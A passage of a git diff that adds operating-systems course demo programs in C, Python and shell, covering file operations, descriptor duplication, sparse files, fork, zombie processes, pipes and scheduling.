b/courses/curs-02-demo/c-file-ops/.gitignore new file mode 100644 index 00000000..3859c62d --- /dev/null +++ b/courses/curs-02-demo/c-file-ops/.gitignore @@ -0,0 +1,2 @@ +/c-file-ops +/f.txt diff --git a/courses/curs-02-demo/c-file-ops/Makefile b/courses/curs-02-demo/c-file-ops/Makefile new file mode 100644 index 00000000..7cf76f06 --- /dev/null +++ b/courses/curs-02-demo/c-file-ops/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: c-file-ops + +c-file-ops: c-file-ops.o + +c-file-ops.o: c-file-ops.c ../utils/utils.h + +clean: + -rm -f *.o *~ c-file-ops *.txt diff --git a/courses/curs-02-demo/c-file-ops/c-file-ops.c b/courses/curs-02-demo/c-file-ops/c-file-ops.c new file mode 100644 index 00000000..40d74e23 --- /dev/null +++ b/courses/curs-02-demo/c-file-ops/c-file-ops.c @@ -0,0 +1,60 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define BUFSIZE 1024 + +static char buffer[BUFSIZE] = { '1', }; + +static void msg_and_wait(const char *msg) +{ + char buf[256]; + + puts(msg); + fputs(" Press ENTER to continue ...", stdout); fflush(stdout); + + while(1) { + fgets(buf, 256, stdin); + if (buf[strlen(buf)-1] == '\n') + break; + } +} + +int main(void) +{ + int fd; + ssize_t n; + int ret; + + msg_and_wait("started program"); + + fd = open("f.txt", O_RDWR | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + msg_and_wait("opened f.txt"); + + n = write(fd, buffer, BUFSIZE); + DIE(n < 0, "write"); + msg_and_wait("written 1024 bytes"); + + n = lseek(fd, -512, SEEK_CUR); + DIE(n < 0, "lseek"); + msg_and_wait("went backwards 512 bytes"); + + n = read(fd, buffer, 256); + DIE(n < 0, "read"); + msg_and_wait("read 256 bytes"); + + ret = ftruncate(fd, 256); + DIE(ret < 0, "ftruncate"); + msg_and_wait("truncated file to 256 bytes"); + + close(fd); + msg_and_wait("closed files"); + + return 0; +} diff --git a/courses/curs-02-demo/fdtsize/.gitignore b/courses/curs-02-demo/fdtsize/.gitignore new file mode 100644 index 00000000..144f846b --- /dev/null +++ b/courses/curs-02-demo/fdtsize/.gitignore @@ -0,0 +1 @@ +/fdtsize diff --git a/courses/curs-02-demo/fdtsize/Makefile b/courses/curs-02-demo/fdtsize/Makefile new file mode 100644 index 00000000..ae50e7c6 --- /dev/null +++ b/courses/curs-02-demo/fdtsize/Makefile @@ -0,0 +1,14 @@ +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: fdtsize + +fdtsize: fdtsize.o + +fdtsize.o: fdtsize.c + +clean: + -rm -f *~ + -rm -f fdtsize.o fdtsize + diff --git a/courses/curs-02-demo/fdtsize/aaa b/courses/curs-02-demo/fdtsize/aaa new file mode 100644 index 00000000..e69de29b diff --git a/courses/curs-02-demo/fdtsize/fdtsize.c b/courses/curs-02-demo/fdtsize/fdtsize.c new file mode 100644 index 00000000..a2cf93fb --- /dev/null +++ b/courses/curs-02-demo/fdtsize/fdtsize.c @@ -0,0 +1,21 @@ +#include +#include + +int main(void) +{ + FILE *f; + size_t i; + + for (i = 0; i < 1030; i++) { + printf("i = %zu, open file\n", i); + f = fopen("aaa", "r"); + if (f == NULL) { + perror("fopen"); + break; + } + } + + printf("Opened %zu file descriptors.\n", i); + + return 0; +} diff --git a/courses/curs-02-demo/fopen-perm/.gitignore b/courses/curs-02-demo/fopen-perm/.gitignore new file mode 100644 index 00000000..ca7a3106 --- /dev/null +++ b/courses/curs-02-demo/fopen-perm/.gitignore @@ -0,0 +1 @@ +/fopen-perm diff --git a/courses/curs-02-demo/fopen-perm/Makefile b/courses/curs-02-demo/fopen-perm/Makefile new file mode 100644 index 00000000..e373b62e --- /dev/null +++ b/courses/curs-02-demo/fopen-perm/Makefile @@ -0,0 +1,15 @@ +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: fopen-perm + +fopen-perm: fopen-perm.o + +fopen-perm.o: fopen-perm.c + +clean: + -rm -f *~ + -rm -f fopen-perm.o fopen-perm + diff --git a/courses/curs-02-demo/fopen-perm/aaa b/courses/curs-02-demo/fopen-perm/aaa new file mode 100644 index 00000000..e69de29b diff --git a/courses/curs-02-demo/fopen-perm/fopen-perm.c b/courses/curs-02-demo/fopen-perm/fopen-perm.c new file mode 100644 index 00000000..2d8174ce --- /dev/null +++ b/courses/curs-02-demo/fopen-perm/fopen-perm.c @@ -0,0 +1,38 @@ +#include +#include + +#include "utils.h" + +int main(void) +{ + FILE *f; + + f = fopen("aaa", "r"); + fclose(f); + + f = fopen("aaa", "w"); + DIE(f == NULL, "fopen"); + fclose(f); + + f = fopen("aaa", "a"); + DIE(f == NULL, "fopen"); + fclose(f); + + f = fopen("aaa", "rw"); + DIE(f == NULL, "fopen"); + fclose(f); + + f = fopen("aaa", "r+"); + DIE(f == NULL, "fopen"); + fclose(f); + + f = fopen("aaa", "w+"); + DIE(f == NULL, "fopen"); + fclose(f); + + f = fopen("aaa", "a+"); + DIE(f == NULL, "fopen"); + fclose(f); + + return 0; +} diff --git a/courses/curs-02-demo/open-dup/.gitignore b/courses/curs-02-demo/open-dup/.gitignore new file mode 100644 index 00000000..07432b7c --- /dev/null +++ b/courses/curs-02-demo/open-dup/.gitignore @@ -0,0 +1,2 @@ +/dup +/open diff --git a/courses/curs-02-demo/open-dup/Makefile b/courses/curs-02-demo/open-dup/Makefile new file mode 100644 index 00000000..489698ca --- /dev/null +++ b/courses/curs-02-demo/open-dup/Makefile @@ -0,0 +1,18 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: open dup + +open: open.o + +open.o: open.c ../utils/utils.h + +dup: dup.o + +dup.o: dup.c ../utils/utils.h + +clean: + -rm -f *.o *~ open dup *.txt diff --git a/courses/curs-02-demo/open-dup/dup.c b/courses/curs-02-demo/open-dup/dup.c new file mode 100644 index 00000000..3fdf92cd --- /dev/null +++ b/courses/curs-02-demo/open-dup/dup.c @@ -0,0 +1,53 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +static void msg_and_wait(const char *msg) +{ + char buf[256]; + + puts(msg); + fputs(" Press ENTER to continue ...", stdout); fflush(stdout); + + while(1) { + fgets(buf, 256, stdin); + if (buf[strlen(buf)-1] == '\n') + break; + } +} + +int main(void) +{ + + int fd1, fd2, rc, pos; + + msg_and_wait("open start"); + + fd1 = open("Makefile", O_RDWR); + DIE(fd1 < 0, "open file.txt"); + msg_and_wait("open Makefile"); + + fd2 = dup(fd1); + DIE(fd2 < 0, "dup"); + msg_and_wait("fd2 = dup(fd1)"); + + pos = lseek(fd1, 100, SEEK_SET); + DIE(pos < 0, "lseek"); + msg_and_wait("lseek on fd1"); + + rc = close(fd1); + DIE(rc < 0, "fd1"); + msg_and_wait("close fd1"); + + rc = close(fd2); + DIE(rc < 0, "fd2"); + msg_and_wait("close fd2"); + + return 0; +} diff --git a/courses/curs-02-demo/open-dup/open.c b/courses/curs-02-demo/open-dup/open.c new file mode 100644 index 00000000..6f053a10 --- /dev/null +++ b/courses/curs-02-demo/open-dup/open.c @@ -0,0 +1,53 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +static void msg_and_wait(const char *msg) +{ + char buf[256]; + + puts(msg); + fputs(" Press ENTER to continue ...", stdout); fflush(stdout); + + while(1) { + fgets(buf, 256, stdin); + if (buf[strlen(buf)-1] == '\n') + break; + } +} + +int main(void) +{ + + int fd1, fd2, rc, pos; + + msg_and_wait("open start"); + + fd1 = open("Makefile", O_RDWR); + DIE(fd1 < 0, "open file.txt"); + msg_and_wait("first open Makefile"); + + fd2 = open("Makefile", O_RDWR); + DIE(fd1 < 0, "open file.txt"); + msg_and_wait("second open Makefile"); + + pos = lseek(fd1, 100, SEEK_SET); + DIE(pos < 0, "lseek"); + msg_and_wait("lseek on fd1"); + + rc = close(fd1); + DIE(rc < 0, "fd1"); + msg_and_wait("close fd1"); + + rc = close(fd2); + DIE(rc < 0, "fd2"); + msg_and_wait("close fd2"); + + return 0; +} diff --git a/courses/curs-02-demo/py-file-ops/.gitignore b/courses/curs-02-demo/py-file-ops/.gitignore new file mode 100644 index 00000000..468537e1 --- /dev/null +++ b/courses/curs-02-demo/py-file-ops/.gitignore @@ -0,0 +1 @@ +/f.txt diff --git a/courses/curs-02-demo/py-file-ops/py-file-ops.py b/courses/curs-02-demo/py-file-ops/py-file-ops.py new file mode 100644 index 00000000..ea71c660 --- /dev/null +++ b/courses/curs-02-demo/py-file-ops/py-file-ops.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +import sys + +def msg_and_wait(msg): + print msg + print " Press ENTER to continue ...", + sys.stdout.flush() + + buf = sys.stdin.readline() + +def main(): + msg_and_wait("started program") + + f = open("f.txt", "w+") + msg_and_wait("opened f.txt") + + for i in range(64): + f.write("0123456789012345") + f.flush() + msg_and_wait("written 1024 bytes") + + f.seek(-512, 2) + msg_and_wait("went back 512 bytes") + + buf = f.read(256) + msg_and_wait("read 256 bytes") + + f.truncate(256) + msg_and_wait("truncated file to 256 bytes") + + f.close() + msg_and_wait("closed file") + +if __name__ == "__main__": + sys.exit(main()) diff --git a/courses/curs-02-demo/save-fd/.gitignore b/courses/curs-02-demo/save-fd/.gitignore new file mode 100644 index 00000000..886832c6 --- /dev/null +++ b/courses/curs-02-demo/save-fd/.gitignore @@ -0,0 +1 @@ +/save-fd diff --git a/courses/curs-02-demo/save-fd/Makefile b/courses/curs-02-demo/save-fd/Makefile new file mode 100644 index 00000000..378fe873 --- /dev/null +++ b/courses/curs-02-demo/save-fd/Makefile @@ -0,0 +1,15 @@ +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: save-fd + +save-fd: save-fd.o + +save-fd.o: save-fd.c ../utils/utils.h + +clean: + -rm -f *.o *~ + -rm -f *.txt + -rm -f save-fd diff --git a/courses/curs-02-demo/save-fd/save-fd.c b/courses/curs-02-demo/save-fd/save-fd.c new file mode 100644 index 00000000..6f0c9c2c --- /dev/null +++ b/courses/curs-02-demo/save-fd/save-fd.c @@ -0,0 +1,31 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + int ret; + int fd; + + fd = open("bogdan.txt", O_RDWR | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + + ret = dup2(1, 42); + DIE(ret < 0, "dup2"); + + ret = dup2(fd, 1); + DIE(ret < 0, "dup2"); + + write(1, "ana are mere\n", 13); + dup2(42, 1); + write(1, "alin nu are mere\n", 17); + + close(fd); + + return 0; +} diff --git a/courses/curs-02-demo/sparse-file/.gitignore b/courses/curs-02-demo/sparse-file/.gitignore new file mode 100644 index 00000000..5f8ab3ee --- /dev/null +++ b/courses/curs-02-demo/sparse-file/.gitignore @@ -0,0 +1,2 @@ +/sparse-file +/sparse.dat diff --git a/courses/curs-02-demo/sparse-file/Makefile b/courses/curs-02-demo/sparse-file/Makefile new file mode 100644 index 00000000..098829d0 --- /dev/null +++ b/courses/curs-02-demo/sparse-file/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: sparse-file + +sparse-file: sparse-file.o + +open.o: sparse-file.c + +clean: + -rm -f *.o *~ sparse-file diff --git a/courses/curs-02-demo/sparse-file/sparse-file.c b/courses/curs-02-demo/sparse-file/sparse-file.c new file mode 100644 index 00000000..36e4a3bf --- /dev/null +++ b/courses/curs-02-demo/sparse-file/sparse-file.c @@ -0,0 +1,40 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define FILENAME "sparse.dat" + +static char buffer[1024]; + +int main(void) +{ + int fd; + int ret; + + memset(buffer, 'A', 1024); + + fd = open(FILENAME, O_WRONLY | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + + ret = write(fd, buffer, 1024); + DIE(ret < 0, "write"); + + ret = lseek(fd, 1024, SEEK_END); + DIE(ret < 0, "lseek"); + + ret = write(fd, buffer, 1024); + DIE(ret < 0, "write"); + + ret = lseek(fd, 1024, SEEK_END); + DIE(ret < 0, "lseek"); + + ret = write(fd, buffer, 1024); + DIE(ret < 0, "write"); + + return 0; +} diff --git a/courses/curs-02-demo/stdout-stderr/.gitignore b/courses/curs-02-demo/stdout-stderr/.gitignore new file mode 100644 index 00000000..229f356b --- /dev/null +++ b/courses/curs-02-demo/stdout-stderr/.gitignore @@ -0,0 +1 @@ +/stdout-stderr diff --git a/courses/curs-02-demo/stdout-stderr/Makefile b/courses/curs-02-demo/stdout-stderr/Makefile new file mode 100644 index 00000000..ce9072a6 --- /dev/null +++ b/courses/curs-02-demo/stdout-stderr/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: stdout-stderr + +stdout-stderr: stdout-stderr.o + +open.o: stdout-stderr.c + +clean: + -rm -f *.o *~ stdout-stderr diff --git a/courses/curs-02-demo/stdout-stderr/stdout-stderr.c b/courses/curs-02-demo/stdout-stderr/stdout-stderr.c new file mode 100644 index 00000000..d5d59cae --- /dev/null +++ b/courses/curs-02-demo/stdout-stderr/stdout-stderr.c @@ -0,0 +1,30 @@ +#include +#include + +/* + * Change to 'stderr' to see when buffer flushing occurs. + * stderr is unbuffered. Flushing is done at each call. + * stdout is line buffered. Flushing happens at newline. + * + * Check the setvbuf(3) man page for additional info. + */ +#define writer stdout + +static void write_and_sleep(const char *message) +{ + fputs(message, writer); + sleep(2); +} + +int main(void) +{ + write_and_sleep("All"); + write_and_sleep(" your"); + write_and_sleep(" base"); + write_and_sleep(" are"); + write_and_sleep(" belong"); + write_and_sleep(" to"); + write_and_sleep(" us!"); + + return 0; +} diff --git a/courses/curs-02-demo/truncate/.gitignore b/courses/curs-02-demo/truncate/.gitignore new file mode 100644 index 00000000..dcdd20c1 --- /dev/null +++ b/courses/curs-02-demo/truncate/.gitignore @@ -0,0 +1,2 @@ +/truncate +/fake-gargantua.dat diff --git a/courses/curs-02-demo/truncate/Makefile b/courses/curs-02-demo/truncate/Makefile new file mode 100644 index 00000000..b427b4c9 --- /dev/null +++ b/courses/curs-02-demo/truncate/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: truncate + +truncate: truncate.o + +open.o: truncate.c + +clean: + -rm -f *.o *~ truncate diff --git a/courses/curs-02-demo/truncate/truncate.c b/courses/curs-02-demo/truncate/truncate.c new file mode 100644 index 00000000..054e1b63 --- /dev/null +++ b/courses/curs-02-demo/truncate/truncate.c @@ -0,0 +1,31 @@ +#include +#include +#include +#include +#include + +#include "utils.h" + +#define FILENAME "fake-gargantua.dat" +#define SIZE_TO_TRUNCATE (10*2048UL*1024*1024) /* 20GB */ + +int main(void) +{ + int fd; + int ret; + struct stat sbuf; + + fd = open(FILENAME, O_WRONLY | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + + ret = ftruncate(fd, SIZE_TO_TRUNCATE); + DIE(ret < 0, "ftruncate"); + + ret = fstat(fd, &sbuf); + DIE(ret < 0, "ftruncate"); + + printf("file size is: %ld\n", sbuf.st_size); + printf("number of blocks is: %ld\n", sbuf.st_blocks); + + return 0; +} diff --git a/courses/curs-02-demo/utils/utils.h b/courses/curs-02-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-02-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-03-demo/ctxt-switch/.gitignore b/courses/curs-03-demo/ctxt-switch/.gitignore new file mode 100644 index 00000000..2d9cbbe3 --- /dev/null +++ b/courses/curs-03-demo/ctxt-switch/.gitignore @@ -0,0 +1,2 @@ +/io +/cpu diff --git a/courses/curs-03-demo/ctxt-switch/Makefile b/courses/curs-03-demo/ctxt-switch/Makefile new file mode 100644 index 00000000..14c54152 --- /dev/null +++ b/courses/curs-03-demo/ctxt-switch/Makefile @@ -0,0 +1,18 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: cpu io + +cpu: cpu.o + +cpu.o: cpu.c ../utils/utils.h + +io: io.o + +io.o: io.c ../utils/utils.h + +clean: + -rm -f *.o *~ cpu io diff --git a/courses/curs-03-demo/ctxt-switch/cpu.c b/courses/curs-03-demo/ctxt-switch/cpu.c new file mode 100644 index 00000000..3ec76d95 --- /dev/null +++ b/courses/curs-03-demo/ctxt-switch/cpu.c @@ -0,0 +1,20 @@ +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + size_t i, j; + size_t val = 0x12345678; + + for (i = 0; i < 10000000; i++) { + val = val ^ i; + for (j = 0; j < 10000000; j++) + val = val ^ j; + } + + return 0; +} diff --git a/courses/curs-03-demo/ctxt-switch/io.c b/courses/curs-03-demo/ctxt-switch/io.c new file mode 100644 index 00000000..ab978964 --- /dev/null +++ b/courses/curs-03-demo/ctxt-switch/io.c @@ -0,0 +1,21 @@ +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + size_t i, j; + size_t val = 0x12345678; + + for (i = 0; i < 100; i++) { + val = val ^ i; + for (j = 0; j < 100; j++) + write(STDOUT_FILENO, "a", 1); + sleep(3); + } + + return 0; +} diff --git a/courses/curs-03-demo/fork-file-pointer/.gitignore b/courses/curs-03-demo/fork-file-pointer/.gitignore new file mode 100644 index 00000000..912825fd --- /dev/null +++ b/courses/curs-03-demo/fork-file-pointer/.gitignore @@ -0,0 +1,2 @@ +/fork-file-pointer +/f.txt diff --git a/courses/curs-03-demo/fork-file-pointer/Makefile b/courses/curs-03-demo/fork-file-pointer/Makefile new file mode 100644 index 00000000..d1a1bdaf --- /dev/null +++ b/courses/curs-03-demo/fork-file-pointer/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: fork-file-pointer + +fork-file-pointer: fork-file-pointer.o + +fork-file-pointer.o: fork-file-pointer.c ../utils/utils.h + +clean: + -rm -f *.o *~ fork-file-pointer *.txt diff --git a/courses/curs-03-demo/fork-file-pointer/fork-file-pointer.c b/courses/curs-03-demo/fork-file-pointer/fork-file-pointer.c new file mode 100644 index 00000000..0c06a41e --- /dev/null +++ b/courses/curs-03-demo/fork-file-pointer/fork-file-pointer.c @@ -0,0 +1,57 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + pid_t pid; + int fd; + ssize_t ret; + + fd = open("f.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + + sleep(5); + + ret = write(fd, "0000000000", 10); + DIE(ret < 0, "write"); + + sleep(5); + + pid = fork(); + switch (pid) { + case -1: /* error */ + DIE(pid == -1, "fork"); + + case 0: /* child process */ + ret = write(fd, "1111111111", 10); + DIE(ret < 0, "write"); + + sleep(5); + + exit(EXIT_SUCCESS); + break; + + default: /* parent process */ + break; + } + + /* Only parent process reaches this point. */ + + /* Wait for child process. Don't care about exit status. */ + ret = waitpid(pid, NULL, 0); + DIE(ret < 0, "waitpid"); + + ret = write(fd, "2222222222", 10); + DIE(ret < 0, "write"); + + sleep(5); + + return 0; +} diff --git a/courses/curs-03-demo/orphan-zombie/.gitignore b/courses/curs-03-demo/orphan-zombie/.gitignore new file mode 100644 index 00000000..45561f43 --- /dev/null +++ b/courses/curs-03-demo/orphan-zombie/.gitignore @@ -0,0 +1,2 @@ +/orphan +/zombie diff --git a/courses/curs-03-demo/orphan-zombie/Makefile b/courses/curs-03-demo/orphan-zombie/Makefile new file mode 100644 index 00000000..5baf5af4 --- /dev/null +++ b/courses/curs-03-demo/orphan-zombie/Makefile @@ -0,0 +1,18 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: orphan zombie + +orphan: orphan.o + +orphan.o: orphan.c ../utils/utils.h + +zombie: zombie.o + +zombie.o: zombie.c ../utils/utils.h + +clean: + -rm -f *.o *~ orphan zombie diff --git a/courses/curs-03-demo/orphan-zombie/orphan.c b/courses/curs-03-demo/orphan-zombie/orphan.c new file mode 100644 index 00000000..c754c719 --- /dev/null +++ b/courses/curs-03-demo/orphan-zombie/orphan.c @@ -0,0 +1,35 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + pid_t pid; + + pid = fork(); + switch (pid) { + case -1: /* error */ + DIE(pid == -1, "fork"); + + case 0: /* child process */ + printf(" [child] Parent is not dead. PPID is %d.\n", getppid()); + sleep(10); + printf(" [child] Parent is dead. PPID is %d.\n", getppid()); + exit(EXIT_SUCCESS); + break; + + default: /* parent process */ + break; + } + + /* Sleep to sync with child process then exit. */ + sleep(5); + + return 0; +} diff --git a/courses/curs-03-demo/orphan-zombie/zombie.c b/courses/curs-03-demo/orphan-zombie/zombie.c new file mode 100644 index 00000000..afa6732e --- /dev/null +++ b/courses/curs-03-demo/orphan-zombie/zombie.c @@ -0,0 +1,42 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + pid_t pid; + int ret; + + pid = fork(); + switch (pid) { + case -1: /* error */ + DIE(pid == -1, "fork"); + + case 0: /* child process */ + printf(" [child] Terminate in 5 seconds. No zombie processes yet\n"); + sleep(5); + exit(EXIT_SUCCESS); + break; + + default: /* parent process */ + break; + } + + /* Sleep to sync with child process then wait for it. */ + sleep(5); + printf(" [parent] Child is dead. Check zombie processes.\n"); + + sleep(10); + ret = waitpid(pid, NULL, 0); + DIE(ret < 0, "waitpid"); + printf(" [parent] Waited for child. Zombie process is gone.\n"); + sleep(5); + + return 0; +} diff --git a/courses/curs-03-demo/utils/utils.h b/courses/curs-03-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-03-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-04-demo/nice/.gitignore b/courses/curs-04-demo/nice/.gitignore new file mode 100644 index 00000000..93ac7886 --- /dev/null +++ b/courses/curs-04-demo/nice/.gitignore @@ -0,0 +1,2 @@ +/cpu +/pri*.txt diff --git a/courses/curs-04-demo/nice/Makefile b/courses/curs-04-demo/nice/Makefile new file mode 100644 index 00000000..0aed980e --- /dev/null +++ b/courses/curs-04-demo/nice/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: cpu + +cpu: cpu.o + +cpu.o: cpu.c ../utils/utils.h + +clean: + -rm -f *.o *~ cpu *.txt diff --git a/courses/curs-04-demo/nice/cpu.c b/courses/curs-04-demo/nice/cpu.c new file mode 100644 index 00000000..d45f1554 --- /dev/null +++ b/courses/curs-04-demo/nice/cpu.c @@ -0,0 +1,20 @@ +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + size_t i, j; + size_t val = 0x12345678; + + for (i = 0; i < 10000000; i++) { + val = val ^ i; + for (j = 0; j < 300; j++) + val = val ^ j; + } + + return 0; +} diff --git a/courses/curs-04-demo/nice/start-all b/courses/curs-04-demo/nice/start-all new file mode 100644 index 00000000..836dea18 --- /dev/null +++ b/courses/curs-04-demo/nice/start-all @@ -0,0 +1,8 @@ +#!/bin/bash + +sudo nice -n -20 /usr/bin/time -v ./cpu 2> pri-20-v1.txt & +sudo nice -n -20 /usr/bin/time -v ./cpu 2> pri-20-v2.txt & +sudo /usr/bin/time -v ./cpu 2> pri0-v1.txt & +sudo /usr/bin/time -v ./cpu 2> pri0-v2.txt & +sudo nice -n 19 /usr/bin/time -v ./cpu 2> pri+19-v1.txt & +sudo nice -n 19 /usr/bin/time -v ./cpu 2> pri+19-v2.txt & diff --git a/courses/curs-04-demo/pipe/.gitignore b/courses/curs-04-demo/pipe/.gitignore new file mode 100644 index 00000000..a2260bdd --- /dev/null +++ b/courses/curs-04-demo/pipe/.gitignore @@ -0,0 +1 @@ +/pipe diff --git a/courses/curs-04-demo/pipe/Makefile b/courses/curs-04-demo/pipe/Makefile new file mode 100644 index 00000000..6e151650 --- /dev/null +++ b/courses/curs-04-demo/pipe/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: pipe + +pipe: pipe.o + +pipe.o: pipe.c ../utils/utils.h + +clean: + -rm -f *.o *~ pipe diff --git a/courses/curs-04-demo/pipe/pipe.c b/courses/curs-04-demo/pipe/pipe.c new file mode 100644 index 00000000..c4716731 --- /dev/null +++ b/courses/curs-04-demo/pipe/pipe.c @@ -0,0 +1,69 @@ +#include +#include +#include +#include +#include +#include "utils.h" + + +#ifndef BUFSIZ +#define BUFSIZ 256 +#endif + + +int main(void) +{ + int pipefd[2]; + const char *send_msg = "Take care, my son."; + char recv_buf[BUFSIZ]; + pid_t pid; + int rc; + + rc = pipe(pipefd); + DIE(rc < 0, "pipe"); + + pid = fork(); + switch (pid) { + case -1: /* error */ + DIE(pid < 0, "fork"); + break; + + case 0: /* Child process is receiver. */ + /* Receiver doesn't need pipe write end. */ + close(pipefd[1]); + + /* Make stdin file descriptor point to pipe read end. */ + close(0); + dup(pipefd[0]); + + /* + * Pipe read end is pointed to by stdin file + * descriptor. No need for original file descriptor. + */ + close(pipefd[0]); + + read(0, recv_buf, BUFSIZ); + printf("Client received message: \"%s\"\n", recv_buf); + + return 0; + + default: /* Parent process is sender. */ + sleep(3); + /* Sender doesn't need pipe read end. */ + close(pipefd[0]); + /* Make stdout file descriptor point to pipe read end. */ + dup2(pipefd[1],1); + + /* + * Pipe write end is pointed to by stdout file + * descriptor. No need for original file descriptor. + */ + close(pipefd[1]); + + write(1, send_msg, strlen(send_msg)+1); + + wait(NULL); + } + + return 0; +} diff --git a/courses/curs-04-demo/utils/utils.h b/courses/curs-04-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-04-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-04-demo/yield/.gitignore b/courses/curs-04-demo/yield/.gitignore new file mode 100644 index 00000000..6a3bb464 --- /dev/null +++ b/courses/curs-04-demo/yield/.gitignore @@ -0,0 +1 @@ +/yield diff --git a/courses/curs-04-demo/yield/Makefile b/courses/curs-04-demo/yield/Makefile new file mode 100644 index 00000000..61c34e87 --- /dev/null +++ b/courses/curs-04-demo/yield/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: yield + +yield: yield.o + +yield.o: yield.c ../utils/utils.h + +clean: + -rm -f *.o *~ yield diff --git a/courses/curs-04-demo/yield/run-many b/courses/curs-04-demo/yield/run-many new file mode 100644 index 00000000..82a1ad8b --- /dev/null +++ b/courses/curs-04-demo/yield/run-many @@ -0,0 +1,10 @@ +#!/bin/bash + +if test $# -ne 1; then + echo "Usage: $0 number-of-simultaneous-processes" 1>&2 + exit 1 +fi + +for ((i = 0; i < $1; i++)); do + ./yield & +done diff --git a/courses/curs-04-demo/yield/yield.c b/courses/curs-04-demo/yield/yield.c new file mode 100644 index 00000000..70b396f2 --- /dev/null +++ b/courses/curs-04-demo/yield/yield.c @@ -0,0 +1,33 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define diff_us(ta, tb) \ + (((ta).tv_sec - (tb).tv_sec) * 1000 * 1000 + \ + ((ta).tv_nsec - (tb).tv_nsec) / 1000) + +int main(void) +{ + size_t round_no, i, j, val = 0x12345678; + struct timespec time_before, time_after; + + for (round_no = 0; round_no < 10; round_no++) { + for (i = 0; i < 1000000; i++) { + val = val ^ i; + for (j = 0; j < 300; j++) + val = val ^ j; + } + clock_gettime(CLOCK_REALTIME, &time_before); + sched_yield(); + clock_gettime(CLOCK_REALTIME, &time_after); + printf("run %zu, time passed %ld microseconds\n", + round_no, diff_us(time_after, time_before)); + } + + return 0; +} diff --git a/courses/curs-05-demo/access-permissions/.gitignore b/courses/curs-05-demo/access-permissions/.gitignore new file mode 100644 index 00000000..701ae87d --- /dev/null +++ b/courses/curs-05-demo/access-permissions/.gitignore @@ -0,0 +1 @@ +/access-permissions diff --git a/courses/curs-05-demo/access-permissions/Makefile 